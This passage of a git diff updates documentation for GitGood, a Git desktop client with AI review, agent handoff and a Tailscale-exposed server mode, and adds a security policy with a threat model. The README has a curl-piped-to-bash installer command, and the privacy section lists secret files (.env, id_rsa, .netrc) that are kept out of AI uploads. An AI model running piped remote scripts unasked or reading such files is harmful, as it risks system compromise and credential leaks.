GitHub CLI): the sync card always shows which side changed since the last sync and lets you upload or download, never merging silently; disconnect keeps or deletes the gist. The export never includes your API key, saved GitHub credentials, tool paths or window position. -- **Updates** (Help → Check for Updates…, or Options → Advanced): checks the GitHub releases feed (via `electron-updater`) on launch and every 6 hours for a newer stable or (on the beta channel) prerelease version — never a downgrade — then downloads it in the background and offers **Restart to update** from a banner, the Help menu and the About dialog; automatic checking, automatic download and the release channel are configurable. Installing is blocked while a git operation or AI task is running, and reopens the same repository afterwards. Disabled in development builds, portable Windows builds, unsigned macOS builds and a read-only AppImage, which show *Updates unavailable in this build* instead. -- Light/dark/system theme, keyboard shortcuts mirroring GitHub Desktop, native menus. +- **AI release notes** (Repository menu, or a tag's context menu in History): pick a commit range and generate a categorized, reference-checked changelog — every bullet cites a pull request or commit in the range, with an unreferenced-items review list — then copy it, insert it into `CHANGELOG.md`, or publish a GitHub release (draft by default). Works as a plain commit-list export even with AI turned off. +- **Fix with agent** (on pull request, branch and pre-commit review findings): hands the findings to a terminal coding agent. GitGood writes every finished review to `.git/gitgood/review/latest.json` and `latest.md` (with instructions for the agent) and opens your terminal running Claude Code, Codex, omp or a custom command on that file; when the agent is done it opens a `gitgood://review/rerun` link and GitGood re-reviews so you can see what was fixed. A `gitgood-review` plugin in this repository adds a `/gitgood-review` slash command and a session-start reminder for all three agents. The plugin also registers an MCP server (`gitgood_latest_review`, `gitgood_request_rereview`, `gitgood_open_repository`) so agents can read the findings, request the re-review and open a repository as tool calls; see [plugin/README.md](plugin/README.md#mcp-server). + +### Integrations + +- **Integrations**: open in VS Code, Cursor, Sublime, Notepad++, Visual Studio, JetBrains IDEs and more; open in Windows Terminal, PowerShell, Command Prompt or Git Bash; show in Explorer; view on GitHub; create issue. **External diff and merge tools**: a file's diff menu offers **Open in external diff tool** (`git difftool`) and a conflicted file **Open in merge tool** (`git mergetool`), using whatever `diff.tool`/`merge.tool` you have configured (graphical tools; desktop app only). +- **GitHub accounts**: sign in with several accounts, switch the active one, and give a repository its own account — see [Signing in to GitHub](#signing-in-to-github). + +### Settings & updates + +- **Portable settings** (Options → Advanced, or File → Export/Import Settings…): export preferences, the repository list and integration choices to one JSON file, with a section checklist and an import preview (adds/changes/unchanged per section, merge or replace) — timestamped backups are kept before a replace. Optional **sync through a secret GitHub gist** (created or reused via the signed-in GitHub CLI): the sync card always shows which side changed since the last sync and lets you upload or download, never merging silently; disconnect keeps or deletes the gist. The export never includes your API key, saved GitHub credentials, tool paths or window position. The export also leaves out custom agent commands and per-repository pins, groups, sign-off and AI opt-out choices, which stay on this computer. +- **Rebindable keyboard shortcuts** (Help → Keyboard Shortcuts, `Ctrl+/`): record a new combination for any action, unbind or reset one or all, with a warning (and an offer to unbind the other action) when a combination is already taken. Overrides are part of exported/synced settings; `Ctrl` means `Cmd` on macOS. In the browser only the shortcuts the page handles itself (Changes, History, Commit) apply. +- **Look and feel**: light/dark/system theme, keyboard shortcuts mirroring GitHub Desktop, native menus, a resizable changed-files pane in History, high-contrast (forced-colors) styling, and an error screen with **Reload** and **Copy details** instead of a blank window. +- **Updates** (Help → Check for Updates…, or Options → Advanced): checks the GitHub releases feed (via `electron-updater`) on launch and every 6 hours for a newer stable or (on the beta channel) prerelease version — never a downgrade — then downloads it in the background and offers **Restart to update** from a banner, the Help menu and the About dialog; automatic checking, automatic download and the release channel are configurable. Installing is blocked while a git operation or AI task is running, and reopens the same repository afterwards. Disabled in development builds, portable Windows builds, unsigned macOS builds, `.deb` installs and a read-only AppImage, which show *Updates unavailable in this build* instead. + +### Server mode + +- **Server mode**: run GitGood headless and use it from a browser on your phone, tablet or another computer — over your tailnet, an SSH tunnel, or from WSL2 — or point the desktop app at it; see [Server mode](#server-mode-web-access-over-your-tailnet). The desktop can also keep a managed background server for you (Linux, macOS, Windows). See [docs/AI-FEATURES.md](docs/AI-FEATURES.md) for a deep dive into how each AI feature works, what it sends and what stays local. @@ -41,13 +75,13 @@ See [docs/AI-FEATURES.md](docs/AI-FEATURES.md) for a deep dive into how each AI Grab the latest release for your platform from the [Releases page](https://github.com/erwin-wee/gitgood/releases/latest): -- **Windows**: `GitGood-Setup-.exe` (NSIS installer) -- **macOS**: `GitGood-.dmg` (unsigned — see note below) -- **Linux**: `GitGood-.AppImage` — `chmod +x` and run, or use the install script: +- **Windows**: `GitGood-Setup-.exe` (NSIS installer; one installer for x64 and ARM64) +- **macOS**: `GitGood-.dmg` (universal: Intel and Apple silicon; unsigned — see note below) +- **Linux**: `GitGood-.deb` (Debian/Ubuntu; updates come from the Releases page or your package manager, not the in-app updater), or `GitGood-.AppImage` — `chmod +x` and run, or use the install script: ```bash curl -fsSL https://raw.githubusercontent.com/erwin-wee/gitgood/main/scripts/install-linux.sh | bash ``` - It detects your distro (Debian/Ubuntu, Fedora/RHEL, Arch, openSUSE), installs `git`/`gh`/the AppImage runtime dependency via your package manager, and installs the latest AppImage to `~/.local/share/GitGood` with a `gitgood` command and a desktop menu entry. Run it with `--help` to see options (a specific version, a custom install path, skipping the prerequisite install). + It detects your distro (Debian/Ubuntu, Fedora/RHEL, Arch, openSUSE), installs `git`/`gh`/the AppImage runtime dependency via your package manager, and installs the latest AppImage to `~/.local/share/GitGood` with a `gitgood` command and a desktop menu entry. It checks the download's SHA-512 against the release's `latest-linux.yml` and stops if that cannot be verified (`--insecure-skip-verify` overrides). Run it with `--help` to see options (a specific version, a custom install path, skipping the prerequisite install) and use `--uninstall` to remove what it installed. Releases are unsigned. Windows will show a SmartScreen "unknown publisher" prompt (**More info → Run anyway**) the first time you launch a new version. macOS Gatekeeper may refuse to open the `.dmg` outright; if so, download the `.zip` instead and right-click → **Open** on the extracted app. See [docs/RELEASING.md](docs/RELEASING.md#signing) for the plan to fix this. @@ -61,12 +95,14 @@ Once installed, GitGood checks for updates automatically, downloads them in the | [GitHub CLI](https://cli.github.com) 2.40+ | Sign-in, credential helper, pull requests, repository listing | `winget install --id GitHub.cli -e` | | [Claude Code CLI](https://docs.anthropic.com/claude-code) (optional) | AI features without an API key, using your Claude sign-in | `npm install -g @anthropic-ai/claude-code` | -GitGood looks for the tools on `PATH` and in the usual install locations; you can also point it at specific executables under **Options → Advanced**. The Linux install script above installs Git and the GitHub CLI for you. +GitGood warns with a dismissible banner when Git or the GitHub CLI is older than the minimum shown above. GitGood looks for the tools on `PATH` and in the usual install locations; you can also point it at specific executables under **Options → Advanced**. The Linux install script above installs Git and the GitHub CLI for you. ## Signing in to GitHub **Options → Accounts → Sign in to GitHub.com** runs `gh auth login --web`. GitGood shows the one-time code, opens `github.com/login/device` in your browser and waits for approval. When it completes, GitGood runs `gh auth setup-git`, so Git pushes and pulls to GitHub over HTTPS use the same token. Nothing else is stored by the app. +**Multiple accounts:** run **Add another account** in the same tab to sign in again (e.g. a personal and a work account), **Make active** to switch the account GitHub calls use by default, and **Sign out** per account. A repository can use its own account instead: **Repository settings → GitHub account** (also in the repository list's right-click menu). Its pull requests, issues and every fetch, pull and push then run with that account's token, read from `gh auth token --user` into memory only; it is never stored, logged or exported. Changing the active account later does not affect such repositories. + ## Server mode (web access over your tailnet) GitGood can also run **headless as a web server** so you can reach it from a browser on another device — e.g. your desktop's GitGood open on a laptop or phone — over your [Tailscale](https://tailscale.com) tailnet. The same UI and the same `git`/`gh` backend run; only the transport changes (HTTP + WebSocket instead of Electron IPC). @@ -74,7 +110,7 @@ GitGood can also run **headless as a web server** so you can reach it from a bro It executes `git`, `gh`, shell and AI-CLI commands **as the host user**, so it is locked down by default: - **Loopback only.** The server binds `127.0.0.1` and never `0.0.0.0`; `tailscale serve` is the only way in. Public exposure (`tailscale funnel`) is never enabled. It also only answers to `127.0.0.1`/`localhost` and `*.ts.net` host names, so a web page can't reach it through DNS rebinding. -- **Bearer token.** A 256-bit token is generated on first start, stored `0600` in the user-data directory, and printed once. It is required on `/invoke` and the `/events` WebSocket. +- **Bearer token.** A 256-bit token is generated on first start, stored `0600` in the user-data directory (`server-token`). It is printed to the terminal once on first start when stdout is a TTY; it is never written to the log. It is required on `/invoke` and the `/events` WebSocket. - **Tailscale identity.** Every request that comes through `tailscale serve`, including the page itself, must carry the allowed `Tailscale-User-Login`. By default that is the owner of this tailnet node (from `tailscale status`); set `GITGOOD_ALLOWED_LOGIN` to override. Other users and tagged devices are refused, and if no login can be determined nothing from the tailnet gets in. - **Path confinement.** Paths are restricted to the server user's home directory, the registered repositories, watched folders, the default clone directory and `GITGOOD_ALLOWED_ROOTS`; a path outside them is refused before any command runs. The web folder picker browses the same locations and accepts a typed path (absolute or `~/…`). @@ -89,7 +125,7 @@ tailscale serve --bg 4600 # GitGood is now at https://..ts.net ``` -To let the packaged desktop manage that service, choose **File → Run GitGood server in the background…**. It installs a user service that is auto-updated with the desktop and rewritten on each launch (including after AppImage updates), then uses `http://127.0.0.1:4600` and `tailscale serve`. Stop it with `systemctl --user disable --now gitgood-server`, then delete `~/.config/gitgood/server-url`. Checkout services installed by `npm run install:service` are unmanaged and are never rewritten automatically. +To let the packaged desktop manage that service, choose **File → Run GitGood server in the background…**. It installs a user service that is auto-updated with the desktop and rewritten on each launch (including after AppImage updates), then uses `http://127.0.0.1:4600` and `tailscale serve`. The service is a systemd user unit on Linux, a LaunchAgent (`~/Library/LaunchAgents/com.gitgood.server.plist`) on macOS, and on Windows a per-user login item (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, value `GitGoodServer`, no administrator rights needed) that starts `GitGood.exe --gitgood-server`, which runs only the server with no window; the macOS and Windows variants are not yet verified on real machines. Stop it with `systemctl --user disable --now gitgood-server` (Linux), `launchctl bootout gui/$(id -u)/com.gitgood.server` and delete the plist (macOS), or `reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GitGoodServer /f` and end the `GitGood.exe` process started with `--gitgood-server` in Task Manager (Windows), then delete `~/.config/gitgood/server-url`. Checkout services installed by `npm run install:service` (Linux only) are unmanaged and are never rewritten automatically. Installed copies of GitGood ship the server too; run it with the app's own runtime, e.g. `ELECTRON_RUN_AS_NODE=1 /path/to/gitgood /path/to/resources/app.asar/out/server/index.mjs` (for the Linux AppImage, `--appimage-extract` it first and use `squashfs-root/`). @@ -109,6 +145,22 @@ To have one set of settings and repositories everywhere, point the desktop app a If the desktop app and the server run different versions, the desktop warns once after connecting; update or rebuild whichever is behind. +### Run the server where your repositories live (WSL2, remote VM) + +If your repositories, and the toolchains that build them, live inside WSL2 or on a remote VM, run the server *there*: `git`, `gh`, your shell and the AI CLIs then run next to the code instead of across the Windows ↔ Linux filesystem boundary, and the UI is a browser tab or an installed web app. + +1. **Install the prerequisites inside the distro/VM:** Node (`^20.19 || >=22.12`), `git`, and `gh` (then `gh auth login`). Clone GitGood and run `npm ci && npm run build && npm run start:server` as above, or `npm run install:service` for a systemd user service (in WSL2 this needs `systemd=true` under `[boot]` in `/etc/wsl.conf`). The server still binds only to `127.0.0.1` inside the distro/VM. +2. **Reach it from where you sit:** + - **WSL2:** with WSL2's localhost forwarding (on by default), open `http://localhost:4600` in a browser on Windows. + - **Remote VM:** forward the port over SSH, `ssh -N -L 4600:127.0.0.1:4600 user@vm`, and open `http://localhost:4600`; or install Tailscale on the VM and run `tailscale serve --bg 4600` as above, so the Tailscale identity check applies too. +3. **Add repositories** with the web folder picker, which browses the VM's allowed locations (its home directory, registered repositories, watched folders and `GITGOOD_ALLOWED_ROOTS`), or register a watched folder such as `~/src`. Keep repositories on the Linux filesystem rather than under `/mnt/c`, which is much slower. + +Things to know: + +- **Use a browser (or the installed web app) as the client**, not the Windows desktop app. A desktop app pointed at `http://127.0.0.1:4600` assumes the server shares its machine and uses native file dialogs and *Show in Explorer*, which return Windows paths the server cannot use (they are refused or not found on the server). Open-in-editor/terminal are disabled in the browser for the same reason; open the repository in your editor's WSL/remote mode instead. +- **Loopback means trusted by the local machine.** Requests through WSL2 forwarding or an SSH tunnel arrive without Tailscale headers, so only the bearer token (which the page reads from the server) and the host/origin checks apply. Any local user of that distro/VM, and on WSL2 any process on the Windows side, can reach the port and fetch the token: use a distro or VM only you use, or put it behind `tailscale serve` with `GITGOOD_ALLOWED_LOGIN` set. +- The server runs as the distro/VM user and sees that user's `~/.config/gh` credentials and AI-CLI sign-in, not your Windows ones. See [SECURITY.md](SECURITY.md) for the threat model. + ## Documentation - [docs/AI-FEATURES.md](docs/AI-FEATURES.md) — how each AI feature works, in depth. @@ -116,10 +168,12 @@ If the desktop app and the server run different versions, the desktop warns once - [docs/DEVELOPMENT.md](docs/DEVELOPMENT.md) — running the app and its test suites locally. - [docs/RELEASING.md](docs/RELEASING.md) — building installers, cutting a release, and the plan for code signing. - [docs/CONTRIBUTING.md](docs/CONTRIBUTING.md) — how to propose and submit a change. +- [CHANGELOG.md](CHANGELOG.md) — what changed in each release. +- [SECURITY.md](SECURITY.md) — supported versions, how to report a vulnerability, and the server-mode threat model. ## Keyboard shortcuts -Ctrl+K command palette (Ask GitGood) · Ctrl+1 Changes · Ctrl+2 History · Ctrl+Shift+S stashes · Ctrl+Shift+W worktrees · Ctrl+Shift+K repository health · Ctrl+Shift+L issues · Ctrl+Shift+J notifications inbox · Ctrl+T repositories · Ctrl+B branches · Ctrl+Enter commit · Ctrl+P push · Ctrl+Shift+P pull · Ctrl+Shift+T fetch · Ctrl+Shift+N new branch · Ctrl+R create pull request · Ctrl+Shift+R review pull request with AI · Ctrl+Shift+D toggle split diff · Alt+B toggle blame · Ctrl+` open terminal · Ctrl+Shift+A open in editor · Ctrl+/ all shortcuts. +Ctrl+K command palette (Ask GitGood) · Ctrl+1 Changes · Ctrl+2 History · Ctrl+Shift+S stashes · Ctrl+Shift+W worktrees · Ctrl+Shift+K repository health · Ctrl+Shift+L issues · Ctrl+Shift+J notifications inbox · Ctrl+T repositories · Ctrl+B branches · Ctrl+Enter commit · Ctrl+P push · Ctrl+Shift+P pull · Ctrl+Shift+T fetch · Ctrl+Shift+N new branch · Ctrl+R create pull request · Ctrl+Shift+R review pull request with AI · Ctrl+Shift+D toggle split diff · Alt+B toggle blame · Ctrl+` open terminal · Ctrl+Shift+A open in editor · Ctrl+/ all shortcuts. These are the defaults; change them in the shortcuts dialog. ## License diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..8c9afce --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,39 @@ +# Security policy + +## Supported versions + +Only the latest release receives security fixes (currently the 0.3 line). GitGood updates itself from the [Releases page](https://github.com/erwin-wee/gitgood/releases), so please reproduce on the newest version before reporting. + +## Reporting a vulnerability + +Please **do not open a public issue**. Report it privately with a GitHub security advisory: + +1. Go to (Repository → Security → Advisories → **Report a vulnerability**). +2. Describe the impact, the affected version and operating system, and the steps to reproduce. A proof of concept helps; please don't include real credentials. + +This is a small, mostly solo-maintained project: expect an acknowledgement within a few days and a fix or a mitigation plan as soon as it can be made. You'll be credited in the advisory unless you prefer not to be. + +## What is in scope + +- The desktop app (Electron main, preload and renderer), including how it runs `git`, `gh` and AI-CLI commands and how it reads repository content. +- Server mode (`src/server`) and the desktop's client mode. +- The MCP server (`src/mcp`), the `gitgood://` protocol handler and the `gitgood-review` plugin. +- The installer script and the release pipeline (`scripts/`, `.github/workflows/`). +- What GitGood sends to an AI provider and what it writes to disk or logs (see [docs/AI-FEATURES.md](docs/AI-FEATURES.md#privacy-what-is-sent-and-what-never-is)). + +Out of scope: vulnerabilities in `git`, `gh`, Electron or an AI provider themselves (report those upstream), an attacker who already runs code as your user, and the fact that releases are not yet code-signed (tracked in [docs/RELEASING.md](docs/RELEASING.md#signing)). + +## Threat model notes + +**Desktop.** GitGood drives the `git` and `gh` you already have; it stores no GitHub credentials of its own (`gh` does). API keys are stored encrypted with the OS credential store where Electron provides one; otherwise they are written to `secrets.json` with `0600` permissions in a `0700` directory. Repository files that feed the AI or configuration are never followed through symlinks, a repository's check command needs your explicit one-time trust, and logs have tokens and credentials scrubbed. + +**Server mode** executes `git`, `gh`, shell and AI-CLI commands **as the host user**, so anything that can reach it effectively has that user's access. It is protected by four independent layers: + +- **Loopback only.** It binds `127.0.0.1`, never `0.0.0.0`, and only answers to `127.0.0.1`, `localhost` and `*.ts.net` host names (against DNS rebinding). Public exposure (`tailscale funnel`) is never enabled by GitGood. +- **Tailscale identity.** Requests arriving through `tailscale serve` must carry the allowed `Tailscale-User-Login` (by default the node's owner, or `GITGOOD_ALLOWED_LOGIN`); other users and tagged devices are refused. +- **Bearer token.** A 256-bit token, stored `0600` in the data directory, is required on `/invoke` and the `/events` WebSocket and is never logged. +- **Path confinement.** Paths must lie inside the user's home directory, registered repositories, watched folders, the default clone directory or `GITGOOD_ALLOWED_ROOTS`; absolute and `../` repository-relative paths are rejected before any command runs. + +If you run the server on another machine or in a VM, you take on that machine's trust boundary: keep the token private, use a dedicated user, and don't widen `GITGOOD_ALLOWED_ROOTS` or `GITGOOD_ALLOWED_LOGIN` more than you need. See the README's [Server mode](README.md#server-mode-web-access-over-your-tailnet) section. + +**AI features** send repository content (diffs, file context, commit messages) to the provider you configure: Anthropic's API, your local Claude Code, or an OpenAI-compatible server. Secret-shaped files are excluded and known token shapes are masked, but this is a best-effort filter, not a guarantee; use the per-repository AI opt-out for sensitive repositories. diff --git a/docs/AI-FEATURES.md b/docs/AI-FEATURES.md index ef16359..e765a56 100644 --- a/docs/AI-FEATURES.md +++ b/docs/AI-FEATURES.md @@ -1,6 +1,6 @@ # AI features -Configuration for all of these lives under **Options → AI**. Every feature below is hidden when the AI provider is set to *Disabled*. +Configuration for all of these lives under **Options → AI**. Every feature below is hidden when the AI provider is set to *Disabled*. They are also hidden, and refused in the main process, for any repository where AI has been switched off (see [Privacy](#privacy-what-is-sent-and-what-never-is)). ## AI conflict resolution @@ -9,7 +9,9 @@ Configure under **Options → AI**: - **Provider** - *Anthropic API*: paste an API key. It is stored encrypted with the operating system's credential store (DPAPI on Windows, Keychain on macOS) via Electron `safeStorage`. Without a stored key, the SDK falls back to the `ANTHROPIC_API_KEY` environment variable or an `ant auth login` profile. - *Claude Code CLI*: reuses your existing `claude` sign-in and plan; no key required. Runs `claude -p` headless with tools disabled and a JSON schema for the output. + - *OpenAI-compatible server*: any server that implements `POST {base URL}/chat/completions` (OpenAI, Azure-style gateways, OpenRouter, Ollama, LM Studio, vLLM…). Set the **Base URL** including the version path (e.g. `https://api.openai.com/v1`, `http://localhost:11434/v1`), a model name and, if the server wants one, an API key (stored encrypted exactly like the Anthropic key; optional for local servers). Requests ask for strict `json_schema` output and, when the server rejects that response format, are retried once in `json_object` mode with the schema spelled out in the system prompt. **Test connection** works for it too. The base URL and model are included in settings export and sync; the key never is, and importing a file that changes the base URL removes the stored key so a file cannot redirect it. - **Model**: defaults to `claude-opus-5`. Claude Fable 5.1, Sonnet 5, Opus 4.8 and Haiku 4.5 are offered as presets; any model ID can be typed. + - **Model per feature** (collapsed under the model row): every feature (conflict resolution, commit messages, review, splitting, triage, PR drafts, rebase assistant, release notes, explain, error explanation, command palette) can use its own model; an empty field uses the model above. Overrides are part of settings export and sync. - **Effort**: `low` … `max` (default `high`). How a resolution works: GitGood parses the conflict markers (including `diff3`/`zdiff3` base sections), sends each conflict block with 40 lines of surrounding context, the merge/rebase context and the recent commit subjects on both sides, and requests a structured JSON answer with one resolution and a one-sentence rationale per block. It validates that no markers remain, rewrites the file preserving line endings, and (by default, and only when any configured post-resolution check passes) runs `git add`. **Undo** restores the original conflicted content via `git update-index --unresolve`. @@ -45,9 +47,11 @@ The commit form's **Review changes** action (next to the AI commit-message spark Every finished review run (pull request, branch or pre-commit) is also written to the repository's git directory as `/gitgood/review/latest.json` and `latest.md`, plus an immutable `runs/.json|.md` pair (pruned to the last five). The JSON carries the run id, the previous run id for the same target, the target, the per-file status and every finding (dismissed ones flagged); the Markdown lists the open findings grouped by file in severity order and opens with an instruction block for an agent (fix file by file, trust title and detail over line numbers once a file changed, never commit, how to ask for a re-review). Nothing is written into the working tree, and linked worktrees export into their own git directory. -The **Fix with agent** button (review panel footer and pre-commit findings strip; hidden when the provider is *Disabled* or every finding is dismissed) rewrites that export and opens your terminal (Options → Integrations → Shell) running the agent chosen under Options → AI → **Agent for fixes**: Claude Code, Codex, omp, or a custom command template in which `{file}` is replaced by the path of `latest.md`. A one-time notice explains what is handed over. Terminals GitGood cannot start a command in (Warp and Ghostty on macOS, Git Bash, the Debian `x-terminal-emulator` alternative, custom paths) open plainly with the command on the clipboard. The path is quoted for the shell that terminal parses the command with, so `$`, backticks and `%` in a repository path survive. +The **Fix with agent** button (review panel footer and pre-commit findings strip; hidden when the provider is *Disabled* or every finding is dismissed) rewrites that export and opens your terminal (Options → Integrations → Shell) running the agent chosen under Options → AI → **Agent for fixes**: Claude Code, Codex, omp, or a custom command template in which `{file}` is replaced by the path of `latest.md` (every `{file}` must sit inside double quotes, e.g. `aider "Read {file}"`; the template is machine-local and never exported or synced). A one-time notice explains what is handed over. Terminals GitGood cannot start a command in (Warp and Ghostty on macOS, Git Bash, the Debian `x-terminal-emulator` alternative, custom paths) open plainly with the command on the clipboard. The path is quoted for the shell that terminal parses the command with, so `$`, backticks and `%` in a repository path survive. -After a pre-commit review the agent finishes by opening `gitgood://review/rerun?repo=` (the exact command is in the export). GitGood brings its window to the front, opens that repository and re-runs the pre-commit review over the currently included files; the new export's `previousRunId` points at the run the agent worked from. Pull request and branch reviews read committed history, so they cannot see the agent's uncommitted edits: their export sets `rerun` to null and tells the agent to stop and report instead, and the deep link answers with a toast offering to review the pending changes rather than repeating an identical review. A review already running is left alone, and an unknown repository, a disabled provider or a repository without a review each produce a toast and nothing else. +Custom templates must use balanced, literal double quotes around each placeholder. Escaped quotes do not establish a quoted argument, and nested shell command substitutions are not supported. Validation uses the selected terminal's shell rules and runs again before the command is expanded. + +After a pre-commit review the agent finishes by opening `gitgood://review/rerun?repo=&token=` (the exact command is in the export; the token is random per exported run, valid once, and a link without a valid token only shows a confirmation with the repository and files before anything is sent to the AI provider). GitGood brings its window to the front, opens that repository and re-runs the pre-commit review over the currently included files; the new export's `previousRunId` points at the run the agent worked from. Pull request and branch reviews read committed history, so they cannot see the agent's uncommitted edits: their export sets `rerun` to null and tells the agent to stop and report instead, and the deep link answers with a toast offering to review the pending changes rather than repeating an identical review. A review already running is left alone, and an unknown repository, a disabled provider or a repository without a review each produce a toast and nothing else. The `plugin/` folder in this repository is an installable plugin for Claude Code, Codex and omp with the `gitgood-review` skill, a `/gitgood-review` command and a session-start hook that prints one line when the repository has open findings. See `plugin/README.md` for installation; the export works without it. @@ -112,3 +116,16 @@ The error dialog gains a collapsed **Explain with AI** row (hidden for errors wi - **Previews before you run anything**: a reset shows the commits that would be uncommitted, a discard shows the affected files, a branch delete shows whether it's merged, a rebase shows what would be replayed, and a force-with-lease push shows the ahead/behind count — each recomputed against the live repository, with references re-verified immediately before showing. - **Nothing runs before you click Run plan**, and destructive steps still open GitGood's normal confirmation dialogs; cancelling stops the plan and keeps whatever already completed. Every executed step is written to the application log with its arguments and exit code. - One clarifying question is allowed when a request is ambiguous; the session keeps the last 20 plans (with a **Copy commands** action) in memory only. + +## Usage, caching and cancelling + +- **Usage** (Options → AI → *Usage*): this month's and last month's requests, input and output tokens, cache-read tokens and — only where the provider reports one (the Claude Code CLI does; the Anthropic API and OpenAI-compatible servers do not) — the cost, per feature. GitGood keeps no price table. The totals are counts only, never prompts or responses, and live in `ai-usage.json` in the app's data folder on this machine (not exported or synced). +- **Prompt caching** (Anthropic API): the system prompt is sent as a cacheable block, and the per-file calls of a pull request or pre-commit review put the context that is identical for every file (title, description, linked issues, commit subjects, failing checks, guidelines) in a cacheable leading block, so a many-file review reads it from cache after the first request; the usage table shows the cache reads. The Claude Code CLI and OpenAI-compatible servers get the same text without cache markers (the server may still cache it and report cached tokens). +- **Cancelling** a feature's spinner stops only that feature. In server mode it stops only the job started by your own client, never another browser tab's or window's. + +## Privacy: what is sent, and what never is + +- **Secret-shaped files are never uploaded.** `.env` / `.env.*` (but not `.env.example`, `.sample`, `.template`, `.dist`), `*.pem`, `*.key`, `*.p12`, `*.pfx`, `id_rsa*` / `id_ed25519*` (not `.pub`), `.netrc`, `credentials*.json`, and `.npmrc` / `.pypirc` that contain credentials are left out of every AI request — conflict resolution (and its manual-resolution examples), reviews, pre-commit review, commit messages, splitting, PR drafts, explain and the rebase assistant. Where there is a place to show it, the skip reason is visible: a skipped file in the review pre-flight, an excluded file in the split pre-flight, a toast after a commit message or PR draft, an error when you explain such a file. The list is deliberately short; a secret in an ordinary file is not detected by path. +- **Known token shapes are masked in the text** of every read-only feature before it is sent (GitHub tokens, Anthropic and OpenAI-style `sk-` keys, AWS access key ids, bearer tokens, `user:password@` URLs), so a pasted credential in a diff does not leave the machine. Conflict resolution is the exception: its text is written back into your file, so it is sent unmodified (secret-shaped files are still excluded). +- **Per-repository opt-out.** *Disable AI for this repository* in the repository list's context menu is a machine-local switch (not exported or synced); a committed `.gitgood/config.json` with `{ "ai": false }` switches AI off for everyone who clones the repository. While either is set, every `ai.*` request for that repository is refused in the main process and AI actions are hidden in the interface. +- Where prompts go depends on the provider: Anthropic's API, your local Claude Code, or the OpenAI-compatible server you configured. Sending to a remote OpenAI-compatible server shares the same content with that operator. diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index aea9271..3d68821 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -3,18 +3,45 @@ ``` src/ main/ Electron main process + index.ts app lifecycle, windows, menu, protocol and argv handling, client/server mode selection exec.ts child-process runner (no shell, cancellable, progress streaming) - tools.ts locate git / gh / claude, read gh auth status, login-shell PATH on macOS/Linux - git/ git wrappers: status (porcelain v2), log (history, file history via --follow), - branches, diffs, blame (porcelain parser, file-at-commit), commits, - transfers with progress, merge/rebase/cherry-pick/revert, interactive-rebase - automation (squash/reorder/reword/drop) via a GIT_SEQUENCE_EDITOR shim, stash, tags, - worktrees (list/add/remove/lock/prune, main-worktree resolution) - gh/ GitHub CLI wrapper: device-flow login, repos, pull requests, checks, avatars - ai/ Anthropic SDK + Claude CLI backends, prompts, conflict resolver, + tools.ts locate git / gh / claude, read gh auth status, login-shell PATH on macOS/Linux; + each probe settles on its own (git never waits for gh or claude) and flags tools + older than the minimum version + logger.ts application log (0600), every line passed through shared/secrets.ts scrubSecrets + store.ts JSON persistence (settings, repositories, secrets): 0600 files in a 0700 directory, + a corrupt file is renamed to .corrupt- instead of being reset + app-url.ts the app's entry URL and the IPC/navigation allowlist: only the main frame loaded from + that URL may call IPC (ipc.ts, client.ts) or be navigated to (window.ts) + argv.ts pure `gitgood ` parsing (skips flags, the dev app path, protocol URLs) + core/ transport-independent request layer shared by Electron and the server + (handlers/: every API method, one module per domain over a shared context; host.ts: native capabilities behind an interface; + bus.ts: event emitter; client-context.ts: the calling client and per-client job + ownership; event-routing.ts: which window receives which event) + host/ Electron implementations of the host and store-platform interfaces + git/ git wrappers: status (porcelain v2, plus a light ahead/behind/dirty parse for repository + indicators), log (history, file history via --follow, --date-order for the graph), + branches (incl. stack detection), diffs, blame (porcelain parser, file-at-commit), commits, + transfers with progress, merge/rebase (--update-refs)/cherry-pick/revert, + interactive-rebase automation (squash/reorder/reword/drop) via a GIT_SEQUENCE_EDITOR shim, + stash, tags, worktrees, submodules, LFS, signing, repository health; + reflog.ts: HEAD reflog, the "undo last operation" planner and reset --keep; + bisect.ts: bisect state, start/mark/reset; + external-tools.ts: launches git difftool / mergetool without awaiting them + gh/ GitHub CLI wrapper: device-flow login, repos, pull requests (incl. auto-merge), checks, + avatars, notifications inbox, gist settings sync; + accounts.ts: parses every signed-in account and builds the per-repository GH_TOKEN / + credential-helper environment injected into gh and network git commands + ai/ backends.ts (Anthropic SDK + Claude CLI, scrubbing wrapper), openai-backend.ts + (OpenAI-compatible /chat/completions with json_schema -> json_object fallback), provider.ts + (picks the backend per feature, wraps it with usage recording and scrubbing), + usage.ts (monthly per-feature token totals in ai-usage.json), repo-guard.ts (refuses every + ai.* call for a repository with AI switched off), prompts, conflict resolver, pull request AND pre-commit review service (review.ts, worktree target) and its pure validation helpers (review-core.ts, shared by both), - diff explanation service (explain.ts) and its pure validation helpers (explain-core.ts) + diff explanation service (explain.ts) and its pure validation helpers (explain-core.ts), + and the other `.ts` + `-core.ts` pairs (splitter, rebasePlan, prDraft, + triage, release-notes, error-explain, nlPalette/nlPolicy), agent handoff export (review-export.ts: JSON + Markdown written to /gitgood/review after every run, read by terminal coding agents; see plugin/) update/ auto-update: UpdateProvider seam, electron-updater-backed provider, pure @@ -22,15 +49,33 @@ src/ repo/ repository list, Git-pruned directory watcher in a worker thread, watched folders: a pure bounded directory walker (scan.ts) plus the scan orchestration, exclusions and folder validation (watched-folders.ts); path - comparison with the platform's case rules lives in paths.ts + comparison with the platform's case rules and the symlink-safe repository file + read/write helpers live in paths.ts; config.ts reads .gitgood/config.json + settings/ portable settings export/import (sync-core.ts: allowlist, validation, merge/replace) integrations/ external editors and terminals per platform (shell-command.ts: running a command in a new terminal window for "Fix with agent") protocol.ts gitgood:// and x-github-client:// URL parsing (openRepo, review/rerun deep link) - ipc.ts typed request handlers for every API method - preload/ contextBridge exposing a single typed invoke/on bridge - renderer/ React UI (no UI framework dependencies) - shared/ types, IPC contract, pure diff logic (unified diff parser, partial-patch - builder, intraline word diff, conflict marker parser) + ipc.ts registers every API method on Electron IPC; each invoke runs in its window's client context + window.ts BrowserWindow creation (one per window, only the first remembers its bounds) + menu.ts native menu, accelerators taken from the user's shortcut overrides + client.ts client mode: the desktop window runs a GitGood server's UI and answers native capabilities + local-server.ts the desktop-managed background server (systemd unit / LaunchAgent / Windows login item) + server/ headless server: HTTP + WebSocket transport over the same core/ handlers + (security.ts: 